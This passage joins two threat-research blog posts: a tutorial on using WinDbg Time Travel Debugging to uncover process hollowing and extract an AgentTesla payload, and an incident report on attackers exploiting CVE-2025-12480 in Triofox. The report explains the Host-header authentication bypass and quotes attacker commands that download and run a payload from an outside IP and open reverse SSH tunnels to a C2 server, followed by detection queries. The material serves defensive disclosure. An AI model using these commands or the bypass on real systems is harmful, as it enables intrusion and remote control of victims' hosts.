5. SetThreadContext: Redirects the execution flow by modifying the entry point register within the retrieved context to point to the address of the newly injected malicious code.

6. ResumeThread: Resumes the thread, causing the malicious code to execute as if it were the legitimate process.

To confirm this activity in our sample using TTD, we focus our search on the process creation and the subsequent writes to the child process’s address space. The approach demonstrated in this search can be adapted to triage other techniques by adjusting the TTD queries to search for the APIs relevant to that technique.

Recording a Time Travel Trace of the Malware

To begin using TTD, you must first record a trace of a program's execution. There are two primary ways to record a trace: using the WinDbg UI or the command-line utilities provided by Microsoft. The command-line utilities offer the quickest and most customizable way to record a trace, and that is what we'll explore in this post.

Warning: Take all usual precautions for performing dynamic analysis of malware when recording a TTD trace of malware executables. TTD recording is not a sandbox technology and allows the malware to interface with the host and the environment without obstruction.

TTD.exe is the preferred command-line tool for recording traces. While Windows includes a built-in utility (tttracer.exe), that version has reduced features and is primarily intended for system diagnostics, not general use or automation. Not all WinDbg installations provide the TTD.exe utility or add it to the system path. The quickest way to get TTD.exe is to use the stand-alone installer provided by Microsoft. This installer automatically adds TTD.exe to the system's PATH environment variable, ensuring it's available from a command prompt. To see its usage information, run TTD.exe -help.

The quickest way to record a trace is to simply provide the command line invoking the target executable with the appropriate arguments. We use the following command to record a trace of our sample:

C:\Users\FLARE\Desktop\> ttd.exe 0b631f91f02ca9cffd66e7c64ee11a4b.bin
Microsoft (R) TTD 1.01.11 x64
Release: 1.11.532.0
Copyright (C) Microsoft Corporation. All rights reserved.

Launching '0b631f91f02ca9cffd66e7c64ee11a4b.bin'
    Initializing the recording of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run
    Recording has started of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run

Once TTD begins recording, the trace concludes in one of two ways. First, the tracing automatically stops upon the malware's termination (e.g., process exit, unhandled exception, etc.). Second, the user can manually intervene. While recording, TTD.exe displays a small dialog (shown in figure 2) with two control options:

• Tracing Off: Stops the trace and detaches from the process, allowing the program to continue execution.

• Exit App: Stops the trace and also terminates the process.

Recording a TTD trace produces the following files:

• <trace>.run: The trace file is a proprietary format that contains compressed execution data. The size of a trace file is influenced by the size of the program, the length of execution, and other external factors such as the number of additional resources that are loaded.

• <trace>.idx: The index file allows the debugger to quickly locate specific points in time during the trace, bypassing sequential scans of the entire trace. The index file is created automatically the first time a trace file is opened in WinDbg. In general, Microsoft suggests that index files are typically twice the size of the trace file.

• <trace>.out: The trace log file containing logs produced during trace recording.

Once a trace is complete, the .run file can be opened with WinDbg.

Triaging the TTD Trace: Shifting Focus to Data

The fundamental advantage of TTD is the ability to shift focus from manual code stepping to execution data analysis. Performing rapid, effective triage with this data-driven approach requires proficiency in both basic TTD navigation and querying the Debugger Data Model. Let's begin by exploring the basics of navigation and the Debugger Data Model.

Navigating a Trace

Basic navigation commands are available under the Home tab in the WinDbg UI.

The standard WinDbg commands and shortcuts for controlling execution are:

• g: Go (F5) – Resume execution

• gu: Go Up / Step Out (Shift+F11) – Execute until current function is complete

• t: Trace / Step Into (F11 or F8) – Single step into

• p: Step / Step Over (F10) – Single step over

Replaying a TTD trace enables the reverse flow control commands that complement the regular flow control commands. Each reverse flow control complement is formed by appending a dash (-) to the regular flow control command:

• g-: Go Back – Execute the trace backwards

• g-u: Step Out Back - Execute the trace backwards up to the last call instruction

• t-: Step Into Back – Single step into backwards

• p-: Step Over Back – Single step over backwards

Time Travel (!tt) Command

While basic navigation commands let you move step-by-step through a trace, the time travel command (!tt) enables precise navigation to a specific trace position. These positions are often provided in the output of various TTD commands. A position in a TTD trace is represented by two hexadecimal numbers in the format #:# (e.g., E:7D5) where:

• The first part is a sequencing number typically corresponding to a major execution event, such as a module load or an exception.

• The second part is a step count, indicating the number of events or instructions executed since that major execution event.

We'll use the time travel command later in this post to jump directly to the critical events in our process hollowing example, bypassing manual instruction tracing entirely.

The TTD Debugger Data Model

The WinDbg debugger data model is an extensible object model that exposes debugger information as a navigable tree of objects. The debugger data model brings a fundamental shift in how users access debugger information in WinDbg, from wrangling raw text-based output to interacting with structured object information. The data model supports LINQ for querying and filtering, allowing users to efficiently sort through large volumes of execution information. The debugger data model also simplifies automation through JavaScript, with APIs that mirror how you access the debugger data model through commands.

The Display Debugger Object Model Expression (dx) command is the primary way to interact with the debugger data model from the command window in WinDbg. The model lends itself to discoverability – you can begin traversing through it by starting at the root Debugger object:

0:000> dx Debugger
Debugger
    Sessions
    Settings
    State
    Utility
    LastEvent

The command output lists the five objects that are properties of the Debugger object. Note that the names in the output, which look like links, are marked up using the Debugger Markup Language (DML). DML enriches the output with links that execute related commands. Clicking on the Sessions object in the output executes the following dx command to expand on that object:

0:000> dx -r1 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run

The -r# argument specifies recursion up to # levels, with a default depth of one if not specified. For example, increasing the recursion to two levels in the previous command produces the following output:

0:000> dx -r2 Debugger.Sessions
Debugger.Sessions                
    [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
        Processes       
        Id               : 0
        Diagnostics     
        TTD             
        OS              
        Devices         
        Attributes

The -g argument displays any iterable object into a data grid in which each element is a grid row and the child properties of each element are grid columns.

0:000> dx -g Debugger.Sessions

Debugger and User Variables

WinDbg provides some predefined debugger variables for convenience which can be listed through the DebuggerVariables property.

0:000> dx Debugger.State.DebuggerVariables
Debugger.State.DebuggerVariables                
   cursession       : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
    curprocess       : 0b631f91f02ca9cffd66e7c64ee11a4b.exe [Switch To]
    curthread        [Switch To]
    scripts         
    scriptContents   : [object Object]
    vars            
    curstack        
    curframe         : ntdll!LdrInitializeThunk [Switch To]
    curregisters    
    debuggerRootNamespace

Frequently used variables include:

• @$cursession: The current debugger session. Equivalent to Debugger.Sessions[<session>]. Commonly used items include:

• @$cursession.Processes: List of processes in the session.

• @$cursession.TTD.Calls: Method to query calls that occurred during the trace.

• @$cursession.TTD.Memory: Method to query memory operations that occurred during the trace.

• @$curprocess: The current process. Equivalent to @$cursession.Processes[<pid>]. Frequently used items include:

• @$curprocess.Modules: List of currently loaded modules.

• @$curprocess.TTD.Events: List of events that occurred during the trace.

Investigating the Debugger Data Model to Identify Process Hollowing

With a basic understanding of TTD concepts and a trace ready for investigation, we can now look for evidence of process hollowing. To begin, the Calls method can be used to search for specific Windows API calls. This search is effective even with a .NET sample because the managed code must interface with the unmanaged Windows API through P/Invoke to perform a technique like process hollowing.

Process hollowing begins with the creation of a process in a suspended state via a call to CreateProcess with a creation flag value of 0x4. The following query uses the Calls method to return a table of each call to the kernel32 module’s CreateProcess* in the trace; the wildcard (*) ensures the query matches calls to either CreateProcessA or CreateProcessW.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*")

This query returns a number of fields, not all of which are helpful for our investigation. To address this, we can apply the Select LINQ query to the original query, which allows us to specify which columns to display and rename them.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*").Select(c => new { TimeStart = c.TimeStart, Function = c.Function, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})

The result shows one call to CreateProcessA starting at position 58243:104D. Note the return address: since this is a .NET binary, the native code executed by the Just-In-Time (JIT) compiler won't be located in the application's main image address space (as it would be in a non-.NET image). Normally, an effective triage step is to filter results with a Where LINQ query, limiting the return address to the primary module to filter out API calls that do not originate from the malware. This Where filter, however, is less reliable when analyzing JIT-compiled code due to the dynamic nature of its execution space.

The next point of interest is the Parameters field. Clicking on the DML link on the collapsed value {..} displays Parameters via a corresponding dx command.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters

@$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters
    [0x0]            : 0x55de700055de74
    [0x1]            : 0x55e0780055e0ac
    [0x2]            : 0x808000400000000
    [0x3]            : 0x55de4000000000

Function arguments are available under a specific Calls object as an array of values. However, before we investigate the parameters, there are some assumptions made by TTD that are worth exploring. Overall, these assumptions are affected by whether the process is 32-bit or 64-bit. An easy way to check the bitness of the process is by inspecting the DebuggerInformation object.

0:00> dx Debugger.State.DebuggerInformation
Debugger.State.DebuggerInformation                
    ProcessorTarget  : X86 <--- Process Bitness
    Bitness          : 32
    EngineFilePath   : C:\Program Files\WindowsApps\<SNIPPED>\x86\dbgeng.dll
    EngineVersion    : 10.0.27871.1001

The key identifier in the output is ProcessorTarget: this value indicates the architecture of the guest process that was traced, regardless of whether the host operating system running the debugger is 64-bit.

TTD uses symbol information provided in a program database (PDB) file to determine the number of parameters, their types and the return type of a function. However, this information is only available if the PDB file contains private symbols. While Microsoft provides PDB files for many of its libraries, these are often public symbols and therefore lack the necessary function information to interpret the parameters correctly. This is where TTD makes another assumption that can lead to incorrect results. Primarily, it assumes a maximum of four QWORD parameters and that the return value is also a QWORD. This assumption creates a mismatch in a 32-bit process (x86), where arguments are typically 32-bit (4-byte) values passed on the stack. Although TTD correctly finds the arguments on the stack, it misinterprets two adjacent 32-bit arguments as a single, 64-bit value.

One way to resolve this is to manually investigate the arguments on the stack. First we use the !tt command to navigate to the beginning of the relevant call to CreateProcessA.

0:000> !tt 58243:104D

(b48.12a4): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 58243:104D
eax=00bed5c0 ebx=039599a8 ecx=00000000 edx=75d25160 esi=00000000 edi=03331228
eip=75d25160 esp=0055de14 ebp=0055df30 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNEL32!CreateProcessA:
75d25160 8bff            mov     edi,edi

The return address is at the top of the stack at the start of a function call, so the following dd command skips over this value by adding an offset of 4 to the ESP register to properly align the function arguments.

0:000> dd /c 1 esp+4 L0A
0055de18  0055de74  <-- Application Name
0055de1c  0055de70
0055de20  0055e0ac
0055de24  0055e078
0055de28  00000000
0055de2c  08080004  <-- Creation Flags - 0x4 (CREATE_SUSPENDED)
0055de30  00000000
0055de34  0055de40
0055de38  0055e0c0
0055de3c  0055e068

The value of 0x4 (CREATE_SUSPENDED) set in the bitmask for the dwCreationFlags argument (6th argument) indicates that the process will be created in a suspended state.

The following command dereferences esp+4 via the poi operator to retrieve the application name string pointer then uses the da command to display the ASCII string.

0:000> da poi(esp+4)
0055de74  "C:\Windows\Microsoft.NET\Framewo"
0055de94  "rk\v4.0.30319\InstallUtil.exe"

The command reveals that the target application is InstallUtil.exe, which aligns with the findings from basic analysis.

It is also useful to retrieve the handle to the newly created process in order to identify subsequent operations performed on it. The handle value is returned through a pointer (0x55e068 in the earlier referenced output) to a PROCESS_INFORMATION structure passed as the last argument. This structure has the following definition:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
}

After the call to CreateProcessA, the first member of this structure should be populated with the handle to the process. Step out of the call using the gu (Go Up) command to examine the populated structure.

0:000> gu
Time Travel Position: 58296:60D

0:000> dd /c 1 0x55e068 L4
0055e068  00000104 <-- handle to process
0055e06c  00000970
0055e070  00000d2c
0055e074  00001c30

In this trace, CreateProcess returned 0x104 as the handle for the suspended process.

The most interesting operation in process hollowing for the purpose of triage is the allocation of memory and subsequent writes to that memory, commonly performed via calls to WriteProcessMemory. The previous Calls query can be updated to identify calls to WriteProcessMemory.

0:000> dx -g @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})
=============================================================
=          = (+) TimeStart = (+) ReturnAddress = (+) Params =
=============================================================
= [0x0]    - 6A02A:4B4     - 0x15032e2         - {...}      =
= [0x1]    - 6E516:A91     - 0x15032e2         - {...}      =
= [0x2]    - 729A2:511     - 0x15032e2         - {...}      =
= [0x3]    - 76E2D:750     - 0x15032e2         - {...}      =
= [0x4]    - 7B2DF:C1C     - 0x15032e2         - {...}      =
=============================================================

The query returns four results. The following queries expand the arguments for each call to WriteProcessMemory.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params                
    [0x0]            : 0x104        <-- Target process handle
    [0x1]            : 0x400000     <-- Target Address
    [0x2]            : 0x9810af0    <-- Source buffer
    [0x3]            : 0x200        <-- Write size

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params                
    [0x0]            : 0x104
    [0x1]            : 0x402000
    [0x2]            : 0x984cb10
    [0x3]            : 0x3b600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params                
    [0x0]            : 0x104
    [0x1]            : 0x43e000
    [0x2]            : 0x387d9d0
    [0x3]            : 0x600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params                
    [0x0]            : 0x104
    [0x1]            : 0x440000
    [0x2]            : 0x3927a78
    [0x3]            : 0x200

WriteProcessMemory has the following function signature:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Investigating these calls to WriteProcessMemory shows that the target process handle is 0x104, which represents the suspended process. The second argument defines the address in the target process. The arguments to these calls reveal a pattern common to PE loading: the malware writes the PE header followed by the relevant sections at their virtual offsets.

It is worth noting that the memory of the target process cannot be analyzed from this trace. To record the execution of a child process, pass the -children flag to the TTD.exe utility. This will generate a trace file for each process, including all child processes, spawned during execution.

The first memory write to what is likely the target process's base address (0x400000) is 0x200 bytes. This size is consistent with a PE header, and examining the source buffer (0x9810af0) confirms its contents.

0:000> db 0x9810af0
09810af0  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
09810b00  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
09810b10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
09810b20  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00  ................
09810b30  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
09810b40  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
09810b50  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
09810b60  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

The !dh extension can be used to parse this header information.

0:000> !dh 0x9810af0

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       3 number of sections
66220A8D time date stamp Fri Apr 19 06:09:17 2024

----- SNIPPED -----

OPTIONAL HEADER VALUES
     10B magic #
   11.00 linker version
         ----- SNIPPED -----
       0 [       0] address [size] of Export Directory
   3D3D4 [      57] address [size] of Import Directory
   ----- SNIPPED -----
       0 [       0] address [size] of Delay Import Directory
    2008 [      48] address [size] of COR20 Header Directory

SECTION HEADER #1
   .text name
   3B434 virtual size
    2000 virtual address
   3B600 size of raw data
     200 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #2
   .rsrc name
     546 virtual size
   3E000 virtual address
     600 size of raw data
   3B800 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #3
  .reloc name
       C virtual size
   40000 virtual address
     200 size of raw data
   3BE00 file pointer to raw data
----- SNIPPED -----

The presence of a COR20 header directory (a pointer to the .NET header) indicates that this is a .NET executable. The relative virtual addresses for the .text (0x2000), .rsrc (0x3E000), and .reloc (0x40000) also align with the target addresses of the WriteProcessMemory calls.

The newly discovered PE file can now be extracted from memory using the writemem command.

0:000> .writemem c:\users\flare\Desktop\headers.bin 0x9810af0 L0x200
Writing 200 bytes.

0:000> .writemem c:\users\flare\Desktop\text.bin 0x984cb10 L0x3b600
Writing 3b600 bytes.......................................................................................................................

0:000> .writemem c:\users\flare\Desktop\rsrc.bin 0x387d9d0 L0x600
Writing 600 bytes.

0:000> .writemem c:\users\flare\Desktop\reloc.bin 0x3927178 L0x200
Writing 200 bytes.

Using a hex editor, the file can be reconstructed by placing each section at its raw offset. A quick analysis of the resulting .NET executable (SHA256: 4dfe67a8f1751ce0c29f7f44295e6028ad83bb8b3a7e85f84d6e251a0d7e3076) in dnSpy reveals its configuration data.

----- SNIPPED -----

// Token: 0x0400000E RID: 14
public static bool EnableKeylogger = Convert.ToBoolean("false");
// Token: 0x0400000F RID: 15
public static bool EnableScreenLogger = Convert.ToBoolean("false");
// Token: 0x04000010 RID: 16
public static bool EnableClipboardLogger = Convert.ToBoolean("false");
// Token: 0x0400001C RID: 28
public static string SmtpServer = "<REDACTED";
// Token: 0x0400001D RID: 29
public static string SmtpSender = "<REDACTED>";
// Token: 0x04000025 RID: 37
public static string StartupDirectoryName = "eXCXES";
// Token: 0x04000026 RID: 38
public static string StartupInstallationName = "eXCXES.exe";
// Token: 0x04000027 RID: 39
public static string StartupRegName = "eXCXES";
----- SNIPPED -----

Conclusion: TTD as an Analysis Accelerator

This case study demonstrates the benefit of treating TTD execution traces as a searchable database. By capturing the payload delivery and directly querying the Debugger Data Model for specific API calls, we quickly bypassed the multi-layered obfuscation of the .NET dropper. The combination of targeted data model queries and LINQ filters (for CreateProcess* and WriteProcessMemory*) and low-level commands (!dh, .writemem) allowed us to isolate and extract the hidden AgentTesla payload, yielding critical configuration details in a matter of minutes.

The tools and environment used in this analysis—including the latest version of WinDbg and TTD—are readily available via the FLARE-VM installation script. We encourage you to streamline your analysis workflow with  this pre-configured environment.

The TTD trace can be downloaded from VirusTotal along with the original sample.

Written by: Stallone D'Souza, Praveeth DSouza, Bill Glynn, Kevin O'Flynn, Yash Gupta

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the threats we are seeing in the wild right now, equipping our community to understand and respond. 

Introduction

Mandiant Threat Defense has uncovered exploitation of an unauthenticated access vulnerability within Gladinet’s Triofox file-sharing and remote access platform. This now-patched n-day vulnerability, assigned CVE-2025-12480, allowed an attacker to bypass authentication and access the application configuration pages, enabling the upload and execution of arbitrary payloads. 

As early as Aug. 24, 2025, a threat cluster tracked by Google Threat Intelligence Group (GTIG) as UNC6485 exploited the unauthenticated access vulnerability and chained it with the abuse of the built-in anti-virus feature to achieve code execution. 

The activity discussed in this blog post leveraged a vulnerability in Triofox version 16.4.10317.56372, which was mitigated in release 16.7.10368.56560.

Gladinet engaged with Mandiant on our findings, and Mandiant has validated that this vulnerability is resolved in new versions of Triofox.

Initial Detection

Mandiant leverages Google Security Operations (SecOps) for detecting, investigating, and responding to security incidents across our customer base. As part of Google Cloud Security’s Shared Fate model, SecOps provides out-of-the-box detection content designed to help customers identify threats to their enterprise. Mandiant uses SecOps’ composite detection functionality to enhance our detection posture by correlating the outputs from multiple rules.

For this investigation, Mandiant received a composite detection alert identifying potential threat actor activity on a customer's Triofox server. The alert identified the deployment and use of remote access utilities (using PLINK to tunnel RDP externally) and file activity in potential staging directories (file downloads to C:\WINDOWS\Temp).

Within 16 minutes of beginning the investigation, Mandiant confirmed the threat and initiated containment of the host. The investigation revealed an unauthenticated access vulnerability that allowed access to configuration pages. UNC6485 used these pages to run the initial Triofox setup process to create a new native admin account, Cluster Admin, and used this account to conduct subsequent activities.

Triofox Unauthenticated Access Control Vulnerability

During the Mandiant investigation, we identified an anomalous entry in the HTTP log file - a suspicious HTTP GET request with an HTTP Referer URL containing localhost. The presence of the localhost host header in a request originating from an external source is highly irregular and typically not expected in legitimate traffic.

GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

Figure 2: HTTP log entry

Within a test environment, Mandiant noted that standard HTTP requests issued to AdminAccount.aspx result in a redirect to the Access Denied page, indicative of access controls being in place on the page.

Access to the AdminAccount.aspx page is granted as part of setup from the initial configuration page at AdminDatabase.aspx. The AdminDatabase.aspx page is automatically launched after first installing the Triofox software. This page allows the user to set up the Triofox instance, with options such as database selection (Postgres or MySQL), connecting LDAP accounts, or creating a new native cluster admin account, in addition to other details.

Attempts to browse to the AdminDatabase.aspx page resulted in a similar redirect to the Access Denied page.

Mandiant validated the vulnerability by testing the workflow of the setup process. The Host header field is provided by the web client and can be easily modified by an attacker. This technique is referred to as an HTTP host header attack. Changing the Host value to localhost grants access to the AdminDatabase.aspx page.

By following the setup process and creating a new database via the AdminDatabase.aspx page, access is granted to the admin initialization page, AdminAccount.aspx, which then redirects to the InitAccount.aspx page to create a new admin account.

Analysis of the code base revealed that the main access control check to the AdminDatabase.aspx page is controlled by the function CanRunCrticalPage(),  located within the GladPageUILib.GladBasePage class found in C:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll.

public bool CanRunCriticalPage()
{
    Uri url = base.Request.Url;
    string host = url.Host;
    bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true

    bool result;
    if (flag)
    {
        result = true;
    }
    else
    {
       //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
 
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
        bool flag2 = string.IsNullOrEmpty(text);
        if (flag2)
        {
            result = false;
        }
        else
        {
            string ipaddress = this.GetIPAddress();
            bool flag3 = string.IsNullOrEmpty(ipaddress);
            if (flag3)
            {
                result = false;
            }
            else
            ...
           

Figure 8: Vulnerable code in the function CanRunCrticalPage() 

As noted in the code snippet, the code presents several vulnerabilities:

• Host Header attack - ASP.NET builds Request.Url from the HTTP Host header, which can be modified by an attacker.

• No Origin Validation - No check for whether the request came from an actual localhost connection versus a spoofed header.

• Configuration Dependence - If TrustedHostIP isn't configured, the only protection is the Host header check.

Triofox Anti-Virus Feature Abuse

To achieve code execution, the attacker logged in using the newly created Admin account. The attacker uploaded malicious files to execute them using the built-in anti-virus feature. To set up the anti-virus feature, the user is allowed to provide an arbitrary path for the selected anti-virus. The file configured as the anti-virus scanner location inherits the Triofox parent process account privileges, running under the context of the SYSTEM account.

The attacker was able to run their malicious batch script by configuring the path of the anti-virus engine to point to their script. The folder path on disk of any shared folder is displayed when publishing a new share within the Triofox application. Then, by uploading an arbitrary file to any published share within the Triofox instance, the configured script will be executed.

SecOps telemetry recorded the following command-line execution of the attacker script:

C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"

Post-Exploitation Activity

Support Tools Deployment

The attacker script centre_report.bat executed the following PowerShell command to download and execute a second-stage payload:

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

The PowerShell downloader was designed to:

• Download a payload from http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip, which hosted a disguised executable despite the ZIP extension

• Save the payload to: C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

• Execute the payload silently

The executed payload was a legitimate copy of the Zoho Unified Endpoint Management System (UEMS) software installer. The attacker used the UEMS agent to then deploy the Zoho Assist and Anydesk remote access utilities on the host.

Reconnaissance and Privilege Escalation

The attacker used Zoho Assist to run various commands to enumerate active SMB sessions and specific local and domain user information. 

Additionally, they attempted to change passwords for existing accounts and add the accounts to the local administrators and the “Domain Admins” group.

Defense Evasion

The attacker downloaded sihosts.exe and silcon.exe (sourced from the legitimate domain the.earth[.]li) into the directory C:\windows\temp\.

These tools were used to set up an encrypted tunnel, connecting the compromised host to their command-and-control (C2 or C&C) server over port 433 via SSH. The C2 server could then forward all traffic over the tunnel to the compromised host on port 3389, allowing inbound RDP traffic. The commands were run with the following parameters:

C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

Conclusion

While this vulnerability is patched in the Triofox version 16.7.10368.56560, Mandiant recommends upgrading to the latest release. In addition, Mandiant recommends auditing admin accounts, and verifying that Triofox’s Anti-virus Engine is not configured to execute unauthorized scripts or binaries. Security teams should also hunt for attacker tools using our hunting queries listed at the bottom of this post, and monitor for anomalous outbound SSH traffic. 

Acknowledgements

Special thanks to Elvis Miezitis, Chris Pickett, Moritz Raabe, Angelo Del Rosario, and Lampros Noutsos

Detection Through Google SecOps

Google SecOps customers have access to these broad category rules and more under the Mandiant Windows Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Gladinet or Triofox IIS Worker Spawns CMD

• Gladinet or Triofox Suspicious File or Directory Activity

• Gladinet Cloudmonitor Launches Suspicious Child Process

• Powershell Download and Execute

• File Writes To AppCompat

• Suspicious Renamed Anydesk Install

• Suspicious Activity In Triofox Directory

• Suspicious Execution From Appcompat

• RDP Protocol Over SSH Reverse Tunnel Methodology

• Plink EXE Tunneler

• Net User Domain Enumeration

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

GladinetCloudMonitor.exe Spawns Windows Command Shell

Identify the legitimate GladinetCloudMonitor.exe process spawning a Windows Command Shell.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
target.process.file.full_path = /cmd\.exe/ nocase

Utility Execution

Identify the execution of a renamed Plink executable (sihosts.exe) or a renamed PuTTy executable (silcon.exe) attempting to establish a reverse SSH tunnel.

metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-R\b/
(
target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
)

Indicators of Compromise (IOCs)

The following IOCs are available in a Google Threat Intelligence (GTI) collection for registered users.

Note: The following table contains artifacts that are renamed instances of legitimate tools.

Host-Based Artifacts

Network-Based Artifacts